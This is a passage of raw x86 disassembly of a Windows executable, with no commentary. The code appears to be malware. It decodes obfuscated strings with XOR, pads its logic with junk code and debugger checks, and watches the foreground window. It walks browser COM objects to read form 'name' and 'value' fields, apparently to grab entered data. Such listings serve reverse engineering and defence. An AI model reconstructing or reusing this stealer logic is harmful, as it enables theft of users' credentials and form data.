edi, eax add edi, [ebp+var_3AC] push edi push [ebp+arg_8] call sub_4053A3 add esp, 0Ch jmp short loc_406887 ; --------------------------------------------------------------------------- loc_40686C: ; CODE XREF: sub_4063C4+47Cj mov eax, [ebp+var_14C] sub eax, 40h push eax push [ebp+var_3AC] push [ebp+arg_8] call sub_4053A3 add esp, 0Ch loc_406887: ; CODE XREF: sub_4063C4+4A6j push [ebp+var_3AC] call sub_40CA88 ; LocalFree mov [ebp+var_14C], 2 jmp short loc_4068D7 ; --------------------------------------------------------------------------- loc_40689E: ; CODE XREF: sub_4063C4+414j call sub_40C944 ; GetCurrentThreadId mov [ebp+var_14C], 1 jmp short loc_4068D7 ; --------------------------------------------------------------------------- loc_4068AF: ; CODE XREF: sub_4063C4+3DCj call sub_40C9D4 ; GetVersion and [ebp+var_14C], 0 jmp short loc_4068D7 ; --------------------------------------------------------------------------- loc_4068BD: ; CODE XREF: sub_4063C4+371j call sub_40C9D4 ; GetVersion and [ebp+var_14C], 0 jmp short loc_4068D7 ; --------------------------------------------------------------------------- loc_4068CB: ; CODE XREF: sub_4063C4+2A5j call sub_40CA58 ; IsDebuggerPresent and [ebp+var_14C], 0 loc_4068D7: ; CODE XREF: sub_4063C4+4D8j ; sub_4063C4+4E9j ... lea eax, [ebp+var_250] push eax call sub_40C908 ; DeleteFileA mov [ebp+var_26B], 0CBh movzx eax, [ebp+var_26B] imul eax, 4FDEh mov [ebp+var_26B], al push [ebp+arg_0] call sub_40CA88 ; LocalFree call sub_40C944 ; GetCurrentThreadId push 0 push [ebp+var_260] call sub_40CB00 ; TerminateProcess call sub_40C968 ; RtlGetLastWin32Error push [ebp+var_260] call sub_40C9B0 ; CloseHandle call sub_40C998 ; GetProcessHeap mov eax, [ebp+var_14C] loc_406932: ; CODE XREF: sub_4063C4+102j ; sub_4063C4+1B3j pop edi pop esi pop ebx leave retn sub_4063C4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406937 proc near ; CODE XREF: sub_406B58+C2p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi push edi mov esi, [ebp+arg_4] push esi push [ebp+arg_0] mov eax, dword_442368 lea eax, ds:41C7E0h[eax] push eax call sub_40CE18 add esp, 0Ch xor edi, edi jmp short loc_406976 ; --------------------------------------------------------------------------- loc_40695C: ; CODE XREF: sub_406937+41j mov eax, dword_442368 add eax, edi lea eax, ds:41C7E0h[eax] movsx edx, byte ptr [eax] xor edx, 0B0h mov [eax], dl inc edi loc_406976: ; CODE XREF: sub_406937+23j cmp edi, esi jl short loc_40695C mov eax, dword_442368 add eax, esi mov byte ptr ds:dword_41C7E0[eax], 0 xor edi, edi mov edi, dword_442368 mov eax, edi lea eax, [eax+esi+3] mov dword_442368, eax add dword_442368, 2 cmp dword_442368, 0DD5h jle short loc_4069B6 and dword_442368, 0 loc_4069B6: ; CODE XREF: sub_406937+76j lea eax, dword_41C7E0[edi] pop edi pop esi pop ebp retn sub_406937 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4069C0 proc near ; CODE XREF: sub_406EA8+150p ; sub_406EA8+4D8p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi push edi mov ebx, [ebp+arg_0] mov esi, [ebp+arg_4] call sub_40CA58 ; IsDebuggerPresent push ebx call sub_40CB6C ; lstrlenW mov edi, eax call sub_40C998 ; GetProcessHeap push 0 push 0 push 1FFFh push esi push edi push ebx push 0 push 0 call sub_40CB30 ; WideCharToMultiByte call sub_40C9D4 ; GetVersion mov byte ptr [esi+edi], 0 mov eax, edi pop edi pop esi pop ebx pop ebp retn sub_4069C0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406A03 proc near ; CODE XREF: sub_406A6B+DBp var_8 = byte ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push eax push ebx push esi push edi mov ebx, [ebp+arg_0] call sub_40C968 ; RtlGetLastWin32Error cmp dword_442370, 0 jz short loc_406A27 mov eax, dword_442370 push eax mov esi, [eax] call dword ptr [esi+8] loc_406A27: ; CODE XREF: sub_406A03+17j lea edi, [ebp+var_8] lea esi, aYScl ; "y |SCl" mov ecx, 7 rep movsb mov eax, [ebx+4] push dword ptr [ebx+4] mov esi, [eax] call dword ptr [esi+8] call sub_40C998 ; GetProcessHeap mov eax, [ebx] push dword ptr [ebx] mov esi, [eax] call dword ptr [esi+8] call sub_40BE78 mov [ebp+var_1], 0EBh movzx eax, [ebp+var_1] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_1], al pop edi pop esi pop ebx leave retn sub_406A03 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406A6B proc near ; CODE XREF: sub_406EA8+55p var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2A = dword ptr -2Ah var_26 = byte ptr -26h var_1E = byte ptr -1Eh var_19 = byte ptr -19h var_9 = byte ptr -9 var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 38h push ebx push esi push edi mov ebx, [ebp+arg_0] mov [ebp+var_8], 210Fh inc [ebp+var_8] lea edi, [ebp+var_1E] lea esi, a89vb_0 ; "89" mov ecx, 5 rep movsb and dword ptr [ebx], 0 and dword ptr [ebx+4], 0 push 0 call sub_40BE6C lea edi, [ebp+var_26] lea esi, aCkrW@g_0 ; "ckR%W@g" movsd movsd lea eax, [ebp+var_19] push eax push offset a9ba05972F6a811 ; "{9BA05972-F6A8-11CF-A442-00A0C90A8F39}" call sub_40BE60 mov [ebp+var_4], eax call sub_40C9C8 ; GetTickCount xor eax, eax cmp [ebp+var_4], 0 setl al mov [ebp+var_30], eax test eax, eax jnz short loc_406B45 call sub_40C944 ; GetCurrentThreadId push ebx push offset dword_447B5C push 4 push 0 lea eax, [ebp+var_19] push eax call sub_40BE54 mov [ebp+var_4], eax call sub_40C968 ; RtlGetLastWin32Error xor eax, eax cmp [ebp+var_4], 0 setl al mov [ebp+var_34], eax test eax, eax jnz short loc_406B45 mov [ebp+var_9], 39h add [ebp+var_9], 1 mov eax, ebx add eax, 4 push eax push offset dword_447B4C mov eax, [ebx] push dword ptr [ebx] mov edi, [eax] call dword ptr ds:0[edi] mov [ebp+var_4], eax mov eax, dword_44238C mov [ebp+var_2A], eax xor eax, eax cmp [ebp+var_4], 0 setl al mov [ebp+var_38], eax test eax, eax jnz short loc_406B45 call sub_40C9C8 ; GetTickCount xor eax, eax inc eax jmp short loc_406B53 ; --------------------------------------------------------------------------- loc_406B45: ; CODE XREF: sub_406A6B+63j ; sub_406A6B+93j ... push ebx call sub_406A03 pop ecx call sub_40C9C8 ; GetTickCount xor eax, eax loc_406B53: ; CODE XREF: sub_406A6B+D8j pop edi pop esi pop ebx leave retn sub_406A6B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406B58 proc near ; CODE XREF: sub_406EA8+8Cp var_1005C = dword ptr -1005Ch var_10058 = word ptr -10058h var_10056 = byte ptr -10056h var_10051 = byte ptr -10051h var_1004A = word ptr -1004Ah var_10048 = byte ptr -10048h var_10040 = byte ptr -10040h var_1003D = byte ptr -1003Dh var_10038 = dword ptr -10038h var_10031 = byte ptr -10031h var_32 = word ptr -32h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = word ptr -28h var_20 = dword ptr -20h var_18 = dword ptr -18h var_12 = word ptr -12h var_10 = word ptr -10h var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 1005Ch call sub_40C8BC push ebx push esi push edi lea edi, [ebp+var_1003D] lea esi, aTm4 ; "tm4 " mov ecx, 5 rep movsb cmp dword_442374, 0FFFFh jz short loc_406B8E and dword_44236C, 0 loc_406B8E: ; CODE XREF: sub_406B58+2Dj mov [ebp+var_D], 2Eh sub [ebp+var_D], 44h mov eax, dword_44236C cmp [ebp+arg_4], eax jz loc_406E16 lea edi, [ebp+var_10040] lea esi, aP_0 ; "p " mov ecx, 3 rep movsb mov eax, [ebp+arg_4] mov dword_44236C, eax cmp dword_442370, 0 jz short loc_406BE4 call sub_40C9C8 ; GetTickCount mov eax, dword_442370 push eax mov esi, [eax] call dword ptr [esi+8] call sub_40C998 ; GetProcessHeap and dword_442370, 0 loc_406BE4: ; CODE XREF: sub_406B58+6Ej lea edi, [ebp+var_10048] lea esi, aVh4zA ; "H4z+ a" movsd movsd push 0FFFFh lea eax, [ebp+var_10031] push eax push [ebp+arg_4] call sub_40CB9C ; GetWindowTextA mov ax, word_4423A0 mov [ebp+var_1004A], ax push 1Bh push offset dword_446F54 call sub_406937 mov edi, 6 sub edi, dword_442360 push edi push eax lea edi, [ebp+var_10031] push edi call sub_401883 add esp, 14h cmp eax, 0FFFFh jnz short loc_406C60 mov [ebp+var_10058], 4BE6h sub [ebp+var_10058], 1F66h and dword_442370, 0 jmp loc_406E16 ; --------------------------------------------------------------------------- loc_406C60: ; CODE XREF: sub_406B58+E8j lea eax, [ebp+var_C] push eax mov eax, [ebp+arg_0] mov eax, [eax+4] push eax mov edi, [eax] call dword ptr [edi+1Ch] mov ebx, eax cmp [ebp+var_C], 0 jz loc_406E16 lea edi, [ebp+var_10051] lea esi, aNnNX_0 ; "nN#n=X" mov ecx, 7 rep movsb or ebx, ebx jnz loc_406E16 mov [ebp+var_10], 69BEh add [ebp+var_10], 539Fh and [ebp+var_4], 0 cmp dword_442374, 0FFFFh jz short loc_406CE5 call sub_40C944 ; GetCurrentThreadId inc dword_442374 mov eax, [ebp+var_C] cmp dword_442374, eax jbe short loc_406CD0 and dword_442374, 0 loc_406CD0: ; CODE XREF: sub_406B58+16Fj mov ax, word_4423A9 mov [ebp+var_10058], ax mov eax, dword_442374 mov [ebp+var_4], eax loc_406CE5: ; CODE XREF: sub_406B58+159j ; sub_406B58+2A0j push 0 call sub_40CDDC pop ecx mov [ebp+var_12], 631Fh inc [ebp+var_12] mov [ebp+var_28], 2 mov eax, [ebp+var_4] mov [ebp+var_20], eax mov dword_442374, eax lea eax, [ebp+var_18] push eax lea esi, [ebp+var_28] sub esp, 10h mov edi, esp mov ecx, 4 rep movsd mov edi, [ebp+arg_0] mov edi, [edi+4] push edi mov edi, [edi] call dword ptr [edi+20h] mov ebx, eax call sub_40C998 ; GetProcessHeap or ebx, ebx jnz loc_406DD6 call sub_40CA58 ; IsDebuggerPresent push offset dword_442370 push offset dword_447B6C mov eax, [ebp+var_18] push eax mov edi, [eax] call dword ptr ds:0[edi] mov ebx, eax mov [ebp+var_2C], 615Eh inc [ebp+var_2C] or ebx, ebx jnz short loc_406DD6 lea edi, [ebp+var_10056] lea esi, aPt ; "pt^ " mov ecx, 5 rep movsb lea eax, [ebp+var_10038] push eax mov eax, dword_442370 push eax mov edi, [eax] call dword ptr [edi+94h] mov ebx, eax call sub_40C998 ; GetProcessHeap or ebx, ebx jnz short loc_406DD6 mov [ebp+var_30], 2E8h mov eax, 12E0h mul [ebp+var_30] mov [ebp+var_1005C], eax mov [ebp+var_30], eax mov dword_442374, 0FFFFh mov eax, [ebp+arg_4] cmp [ebp+var_10038], eax jz short loc_406E16 mov [ebp+var_32], 6A81h movzx eax, [ebp+var_32] imul eax, 5FFBh mov [ebp+var_32], ax loc_406DD6: ; CODE XREF: sub_406B58+1D8j ; sub_406B58+208j ... cmp dword_442370, 0 jz short loc_406DEA mov eax, dword_442370 push eax mov esi, [eax] call dword ptr [esi+8] loc_406DEA: ; CODE XREF: sub_406B58+285j call sub_40CA58 ; IsDebuggerPresent inc [ebp+var_4] mov eax, [ebp+var_C] cmp [ebp+var_4], eax jb loc_406CE5 mov [ebp+var_8], 74D3h mov eax, [ebp+var_8] mov edx, eax add edx, eax mov [ebp+var_8], edx and dword_442370, 0 loc_406E16: ; CODE XREF: sub_406B58+46j ; sub_406B58+103j ... pop edi pop esi pop ebx leave retn sub_406B58 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406E1B proc near ; CODE XREF: sub_406EA8+571p ; sub_406EA8+5C5p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push eax push esi push edi mov esi, [ebp+arg_4] mov [ebp+var_4], 82h push esi push [ebp+arg_0] mov eax, dword_4423B8 lea eax, ds:431F20h[eax] push eax call sub_40CE18 add esp, 0Ch xor edi, edi jmp short loc_406E63 ; --------------------------------------------------------------------------- loc_406E49: ; CODE XREF: sub_406E1B+4Aj mov eax, dword_4423B8 add eax, edi lea eax, ds:431F20h[eax] movsx edx, byte ptr [eax] xor edx, 0D4h mov [eax], dl inc edi loc_406E63: ; CODE XREF: sub_406E1B+2Cj cmp edi, esi jl short loc_406E49 mov eax, dword_4423B8 add eax, esi mov byte ptr ds:dword_431F20[eax], 0 xor edi, edi mov edi, dword_4423B8 mov eax, edi lea eax, [eax+esi+1] mov dword_4423B8, eax cmp eax, 0DF2h jle short loc_406E97 and dword_4423B8, 0 loc_406E97: ; CODE XREF: sub_406E1B+73j mov [ebp+var_8], 216h lea eax, dword_431F20[edi] pop edi pop esi leave retn sub_406E1B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406EA8 proc near ; CODE XREF: sub_407F79+5Ep var_6382B = byte ptr -6382Bh var_63826 = word ptr -63826h var_63824 = dword ptr -63824h var_6381E = word ptr -6381Eh var_6381C = byte ptr -6381Ch var_6281E = word ptr -6281Eh var_6281B = byte ptr -6281Bh var_62816 = byte ptr -62816h var_62813 = byte ptr -62813h var_62812 = word ptr -62812h var_62810 = word ptr -62810h var_62808 = dword ptr -62808h var_62800 = word ptr -62800h var_627F8 = dword ptr -627F8h var_627F0 = dword ptr -627F0h var_627EC = dword ptr -627ECh var_627E6 = dword ptr -627E6h var_627E2 = word ptr -627E2h var_627DF = byte ptr -627DFh var_627DC = byte ptr -627DCh var_627D5 = byte ptr -627D5h var_627D0 = dword ptr -627D0h var_627CC = dword ptr -627CCh var_627C6 = word ptr -627C6h var_627C4 = byte ptr -627C4h var_627C3 = byte ptr -627C3h var_626C4 = dword ptr -626C4h var_626C0 = word ptr -626C0h var_626BE = byte ptr -626BEh var_626BD = byte ptr -626BDh var_626BC = dword ptr -626BCh var_626B8 = word ptr -626B8h var_626B0 = dword ptr -626B0h var_626A4 = dword ptr -626A4h var_626A0 = dword ptr -626A0h var_6269C = dword ptr -6269Ch var_62698 = dword ptr -62698h var_62694 = dword ptr -62694h var_62690 = dword ptr -62690h var_6268C = dword ptr -6268Ch var_62687 = byte ptr -62687h var_62685 = byte ptr -62685h var_62684 = dword ptr -62684h var_62680 = word ptr -62680h var_6267D = byte ptr -6267Dh var_526B1 = byte ptr -526B1h var_526AE = word ptr -526AEh var_526AC = dword ptr -526ACh var_526A8 = byte ptr -526A8h var_526A0 = dword ptr -526A0h var_52692 = word ptr -52692h var_52690 = dword ptr -52690h var_5268C = dword ptr -5268Ch var_52688 = dword ptr -52688h var_52684 = dword ptr -52684h var_52680 = word ptr -52680h var_5267E = byte ptr -5267Eh var_52678 = byte ptr -52678h var_52670 = byte ptr -52670h var_52669 = dword ptr -52669h var_52665 = byte ptr -52665h var_5265F = byte ptr -5265Fh var_5265A = dword ptr -5265Ah var_52655 = byte ptr -52655h var_5264E = byte ptr -5264Eh var_52648 = dword ptr -52648h var_52643 = byte ptr -52643h var_5263D = byte ptr -5263Dh var_5263A = byte ptr -5263Ah var_52634 = dword ptr -52634h var_52630 = dword ptr -52630h var_5262C = byte ptr -5262Ch var_52622 = byte ptr -52622h var_52621 = byte ptr -52621h var_52620 = dword ptr -52620h var_5261C = dword ptr -5261Ch var_52618 = dword ptr -52618h var_52611 = byte ptr -52611h var_52610 = dword ptr -52610h var_5260C = dword ptr -5260Ch var_52605 = byte ptr -52605h var_52604 = dword ptr -52604h var_52600 = dword ptr -52600h var_525FA = word ptr -525FAh var_525F8 = dword ptr -525F8h var_525F4 = dword ptr -525F4h var_525EE = word ptr -525EEh var_525EC = dword ptr -525ECh var_525E8 = dword ptr -525E8h var_525E4 = dword ptr -525E4h var_525DF = byte ptr -525DFh var_524E0 = byte ptr -524E0h var_524D8 = dword ptr -524D8h var_524CC = dword ptr -524CCh var_524C8 = byte ptr -524C8h var_39E28 = byte ptr -39E28h var_21788 = word ptr -21788h var_21786 = word ptr -21786h var_21784 = dword ptr -21784h var_2177D = byte ptr -2177Dh var_1177E = word ptr -1177Eh var_1177C = word ptr -1177Ch var_10FAC = dword ptr -10FACh var_10FA8 = dword ptr -10FA8h var_10FA4 = dword ptr -10FA4h var_10001 = byte ptr -10001h var_2 = word ptr -2 push ebp mov ebp, esp mov eax, 6382Ch call sub_40C8BC push ebx push esi push edi lea edi, [ebp+var_5263A] lea esi, a1Nuf ; "1+nuf" mov ecx, 3 rep movsw push offset aValue ; "value" call sub_40BE30 mov [ebp+var_10FA8], eax call sub_40C938 ; GetCurrentProcessId push offset aName ; "name" call sub_40BE30 mov [ebp+var_10FAC], eax call sub_40C968 ; RtlGetLastWin32Error lea eax, [ebp+var_5262C] push eax call sub_406A6B pop ecx or eax, eax jz loc_407F74 call sub_40C938 ; GetCurrentProcessId loc_406F10: ; CODE XREF: sub_406EA8+A9j ; sub_406EA8+CBj ... push 0 call sub_40CDDC call sub_40CBE4 ; GetForegroundWindow mov [ebp+var_52610], eax call sub_40C9C8 ; GetTickCount push [ebp+var_52610] lea eax, [ebp+var_5262C] push eax call sub_406B58 add esp, 0Ch mov [ebp+var_52611], 4Ch add [ebp+var_52611], 1 cmp dword_442370, 0 jz short loc_406F10 call sub_40CA58 ; IsDebuggerPresent lea eax, [ebp+var_525F4] push eax mov eax, dword_442370 push eax mov edi, [eax] call dword ptr [edi+48h] mov ebx, eax call sub_40C944 ; GetCurrentThreadId or ebx, ebx jnz short loc_406F10 call sub_40C9D4 ; GetVersion lea eax, [ebp+var_525F8] push eax push offset dword_447B0C mov eax, [ebp+var_525F4] push eax mov edi, [eax] call dword ptr ds:0[edi] mov ebx, eax call sub_40C968 ; RtlGetLastWin32Error or ebx, ebx jnz loc_407F56 lea edi, [ebp+var_5263D] lea esi, aT_1 ; "T " mov ecx, 3 rep movsb lea eax, [ebp+var_52630] push eax mov eax, dword_442370 push eax mov edi, [eax] call dword ptr [edi+78h] mov ebx, eax lea edi, [ebp+var_52643] lea esi, aM7x ; "M&7X<" mov ecx, 3 rep movsw or ebx, ebx jnz loc_407F27 call sub_40C9C8 ; GetTickCount push offset byte_41FD50 push [ebp+var_52630] call sub_4069C0 add esp, 8 mov edi, eax inc edi mov [ebp+var_52648], edi mov eax, [ebp+var_52610] mov ds:dword_42FD54, eax lea eax, [ebp+var_525FA] push eax mov eax, dword_442370 push eax mov edi, [eax] call dword ptr [edi+7Ch] mov ebx, eax call sub_40C998 ; GetProcessHeap or ebx, ebx jnz loc_407F27 cmp [ebp+var_525FA], 0 jz short loc_407058 mov [ebp+var_52618], 4079h add [ebp+var_52618], 45D6h jmp loc_407F27 ; --------------------------------------------------------------------------- loc_407058: ; CODE XREF: sub_406EA8+195j lea edi, [ebp+var_5264E] lea esi, aFauI ; "fu,I" mov ecx, 3 rep movsw lea edi, [ebp+var_52655] lea esi, aTyVj ; "TY Vj" mov ecx, 7 rep movsb mov [ebp+var_10001], 0 mov [ebp+var_2], 0 lea eax, [ebp+var_52600] push eax mov eax, [ebp+var_525F8] push eax mov edi, [eax] call dword ptr [edi+5Ch] mov ebx, eax mov [ebp+var_5261C], 3253h sub [ebp+var_5261C], 1F71h or ebx, ebx jnz loc_407F27 mov [ebp+var_52620], 3E52h sub [ebp+var_52620], 4F8Bh lea eax, [ebp+var_52634] push eax mov eax, [ebp+var_52600] push eax mov edi, [eax] call dword ptr [edi+20h] mov ebx, eax call sub_40C9C8 ; GetTickCount or ebx, ebx jnz loc_407F0D mov eax, dword_4423E4 mov [ebp+var_5265A+1], eax or [ebp+var_524CC], 0FFFFFFFFh loc_407105: ; CODE XREF: sub_406EA8+B36j call sub_40CA58 ; IsDebuggerPresent and [ebp+var_52604], 0 and [ebp+var_5260C], 0 cmp [ebp+var_524CC], 0FFFFFFFFh jnz short loc_407148 call sub_40C9C8 ; GetTickCount lea eax, [ebp+var_525E4] push eax mov eax, [ebp+var_525F8] push eax mov edi, [eax] call dword ptr [edi+38h] mov ebx, eax or ebx, ebx jz loc_407269 jmp loc_4079CC ; --------------------------------------------------------------------------- loc_407148: ; CODE XREF: sub_406EA8+277j mov ax, word_4423E8 mov [ebp+var_52692], ax mov word ptr [ebp+var_52690], 17h mov eax, [ebp+var_524CC] mov [ebp+var_52688], eax lea eax, [ebp+var_526A8] push eax lea eax, [ebp+var_52690] push eax mov eax, [ebp+var_52600] push eax mov esi, [eax] call dword ptr [esi+1Ch] lea eax, [ebp+var_52604] push eax push offset dword_447B3C mov eax, [ebp+var_526A0] push eax mov edi, [eax] call dword ptr ds:0[edi] mov ebx, eax or ebx, ebx jnz loc_4079CC lea eax, [ebp+var_5260C] push eax mov eax, [ebp+var_52604] push eax mov edi, [eax] call dword ptr [edi+0D0h] mov ebx, eax mov eax, dword_4423EA mov [ebp+var_526AC], eax or ebx, ebx jz short loc_407212 lea edi, [ebp+var_526B1] lea esi, word_4423EE mov ecx, 3 rep movsb mov eax, [ebp+var_52604] push eax mov esi, [eax] call dword ptr [esi+8] mov [ebp+var_526AE], 3F10h movzx eax, [ebp+var_526AE] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_526AE], ax jmp loc_4079CC ; --------------------------------------------------------------------------- loc_407212: ; CODE XREF: sub_406EA8+327j lea eax, [ebp+var_525E4] push eax mov eax, [ebp+var_5260C] push eax mov edi, [eax] call dword ptr [edi+38h] mov ebx, eax mov [ebp+var_52680], 3FC7h sub [ebp+var_52680], 1897h or ebx, ebx jz short loc_407269 call sub_40C968 ; RtlGetLastWin32Error mov eax, [ebp+var_5260C] push eax mov esi, [eax] call dword ptr [esi+8] call sub_40C9C8 ; GetTickCount mov eax, [ebp+var_52604] push eax mov esi, [eax] call dword ptr [esi+8] call sub_40C938 ; GetCurrentProcessId jmp loc_4079CC ; --------------------------------------------------------------------------- loc_407269: ; CODE XREF: sub_406EA8+295j ; sub_406EA8+393j lea eax, [ebp+var_525EC] push eax mov eax, [ebp+var_525E4] push eax mov edi, [eax] call dword ptr [edi+24h] mov ebx, eax or ebx, ebx jnz loc_407EA7 call sub_40C9C8 ; GetTickCount and [ebp+var_21784], 0 jmp loc_4079BA ; --------------------------------------------------------------------------- loc_407297: ; CODE XREF: sub_406EA8+B1Ej call sub_40C9D4 ; GetVersion push 0 call sub_40CDDC pop ecx call sub_40C9D4 ; GetVersion mov [ebp+var_626B8], 2 mov eax, [ebp+var_21784] mov [ebp+var_626B0], eax lea eax, [ebp+var_626A4] push eax lea esi, [ebp+var_626B8] sub esp, 10h mov edi, esp mov ecx, 4 rep movsd lea esi, [ebp+var_626B8] sub esp, 10h mov edi, esp mov ecx, 4 rep movsd mov edi, [ebp+var_525E4] push edi mov edi, [edi] call dword ptr [edi+2Ch] mov ebx, eax or ebx, ebx jnz loc_4079B4 call sub_40C998 ; GetProcessHeap and [ebp+var_626BC], 0 lea eax, [ebp+var_626BC] push eax push offset dword_447B1C mov eax, [ebp+var_626A4] push eax mov edi, [eax] call dword ptr ds:0[edi] mov ebx, eax lea edi, [ebp+var_627D5] lea esi, aKer ; "~kER" mov ecx, 5 rep movsb or ebx, ebx jnz loc_40769D call sub_40C998 ; GetProcessHeap lea eax, [ebp+var_626C4] push eax mov eax, [ebp+var_626BC] push eax mov edi, [eax] call dword ptr [edi+0F0h] mov ebx, eax call sub_40C9D4 ; GetVersion or ebx, ebx jnz loc_40769D call sub_40C944 ; GetCurrentThreadId lea eax, [ebp+var_62687] push eax push [ebp+var_626C4] call sub_4069C0 add esp, 8 mov edi, eax inc edi mov [ebp+var_6269C], edi mov [ebp+var_627C4], 0CEh add [ebp+var_627C4], 1 and [ebp+var_52684], 0 jmp short loc_4073D1 ; --------------------------------------------------------------------------- loc_4073A8: ; CODE XREF: sub_406EA8+535j mov eax, [ebp+var_52684] mov al, [ebp+eax+var_62687] cmp al, 0Dh jz short loc_4073BD cmp al, 0Ah jnz short loc_4073CB loc_4073BD: ; CODE XREF: sub_406EA8+50Fj mov eax, [ebp+var_52684] mov [ebp+eax+var_62687], 0 loc_4073CB: ; CODE XREF: sub_406EA8+513j inc [ebp+var_52684] loc_4073D1: ; CODE XREF: sub_406EA8+4FEj mov eax, [ebp+var_6269C] cmp [ebp+var_52684], eax jb short loc_4073A8 mov [ebp+var_627C6], 7C4Fh add [ebp+var_627C6], 673Bh lea edi, [ebp+var_627DC] lea esi, a@mB1 ; "@m|~b1" mov ecx, 7 rep movsb cmp [ebp+var_524CC], 0FFFFFFFFh jnz short loc_407449 call sub_40C998 ; GetProcessHeap push 11h push offset word_446F2A call sub_406E1B push [ebp+var_21784] push eax lea edi, [ebp+var_627C3] push edi call sub_40CE54 lea eax, [ebp+var_627C3] push eax lea eax, [ebp+var_10001] push eax call sub_40CE78 add esp, 1Ch jmp short loc_4074AC ; --------------------------------------------------------------------------- loc_407449: ; CODE XREF: sub_406EA8+563j mov [ebp+var_627E2], 5530h movzx eax, [ebp+var_627E2] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_627E2], ax push 13h push offset word_446F16 call sub_406E1B push [ebp+var_21784] push [ebp+var_524CC] push eax lea edi, [ebp+var_627C3] push edi call sub_40CE54 lea eax, [ebp+var_627C3] push eax lea eax, [ebp+var_10001] push eax call sub_40CE78 add esp, 20h mov eax, dword_4423FD mov [ebp+var_627E6], eax loc_4074AC: ; CODE XREF: sub_406EA8+59Fj and [ebp+var_52684], 0 loc_4074B3: ; CODE XREF: sub_406EA8+6F3j mov eax, [ebp+var_52684] lea ecx, [ebp+eax+var_62687] or eax, 0FFFFFFFFh loc_4074C3: ; CODE XREF: sub_406EA8+620j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_4074C3 mov [ebp+var_62690], eax call sub_40C9D4 ; GetVersion mov eax, [ebp+var_62690] cmp eax, 0 jz short loc_4074E7 cmp eax, 0C8h jbe short loc_4074EC loc_4074E7: ; CODE XREF: sub_406EA8+636j jmp loc_407582 ; --------------------------------------------------------------------------- loc_4074EC: ; CODE XREF: sub_406EA8+63Dj mov [ebp+var_627CC], 0CF2h mov eax, 4FA4h mul [ebp+var_627CC] mov [ebp+var_627E6+2], eax mov [ebp+var_627CC], eax cmp [ebp+var_62690], 1 jnz short loc_407526 mov eax, [ebp+var_52684] cmp [ebp+eax+var_62687], 20h jz short loc_407582 loc_407526: ; CODE XREF: sub_406EA8+66Cj push 1 push offset byte_446F14 call sub_406E1B push eax lea edi, [ebp+var_10001] push edi call sub_40CE78 call sub_40C944 ; GetCurrentThreadId mov eax, [ebp+var_52684] lea eax, [ebp+eax+var_62687] push eax lea eax, [ebp+var_10001] push eax call sub_40CE78 add esp, 18h mov [ebp+var_627D0], 1601h mov eax, 2711h mul [ebp+var_627D0] mov [ebp-627E8h], eax mov [ebp+var_627D0], eax loc_407582: ; CODE XREF: sub_406EA8:loc_4074E7j ; sub_406EA8+67Cj mov eax, [ebp+var_62690] inc eax add [ebp+var_52684], eax mov eax, [ebp+var_6269C] cmp [ebp+var_52684], eax jb loc_4074B3 mov [ebp+var_626BD], 2Ah movzx eax, [ebp+var_626BD] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_626BD], al and [ebp+var_62698], 0 lea ecx, [ebp+var_10001] or eax, 0FFFFFFFFh loc_4075CB: ; CODE XREF: sub_406EA8+728j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_4075CB mov [ebp+var_62690], eax mov [ebp+var_52684], 0 jmp loc_40767D ; --------------------------------------------------------------------------- loc_4075E7: ; CODE XREF: sub_406EA8+7E1j call sub_40CA58 ; IsDebuggerPresent mov eax, [ebp+var_52684] cmp [ebp+eax+var_10001], 20h jz short loc_407603 and [ebp+var_6268C], 0 loc_407603: ; CODE XREF: sub_406EA8+752j call sub_40C9D4 ; GetVersion cmp [ebp+var_6268C], 0 jnz short loc_40764F lea edi, [ebp+var_627EC] lea esi, byte_442401 mov ecx, 3 rep movsb mov eax, [ebp+var_62698] mov edx, [ebp+var_52684] mov dl, [ebp+edx+var_10001] mov [ebp+eax+var_10001], dl mov eax, dword_442404 mov [ebp+var_627F0], eax inc [ebp+var_62698] loc_40764F: ; CODE XREF: sub_406EA8+767j mov eax, [ebp+var_52684] cmp [ebp+eax+var_10001], 20h jnz short loc_407669 mov [ebp+var_6268C], 1 loc_407669: ; CODE XREF: sub_406EA8+7B5j mov byte ptr [ebp+var_627EC+3], 9 add byte ptr [ebp+var_627EC+3], 0B1h inc [ebp+var_52684] loc_40767D: ; CODE XREF: sub_406EA8+73Aj mov eax, [ebp+var_62690] cmp [ebp+var_52684], eax jb loc_4075E7 mov eax, [ebp+var_62698] mov [ebp+eax+var_10001], 0 loc_40769D: ; CODE XREF: sub_406EA8+496j ; sub_406EA8+4C0j and [ebp+var_62694], 0 lea eax, [ebp+var_62694] push eax push offset dword_447B2C mov eax, [ebp+var_626A4] push eax mov edi, [eax] call dword ptr ds:0[edi] mov ebx, eax lea edi, [ebp+var_627DF] lea esi, byte_442408 mov ecx, 3 rep movsb or ebx, ebx jnz loc_407982 call sub_40C9C8 ; GetTickCount lea eax, [ebp+var_626A0] push eax mov eax, [ebp+var_62694] push eax mov edi, [eax] call dword ptr [edi+6Ch] mov 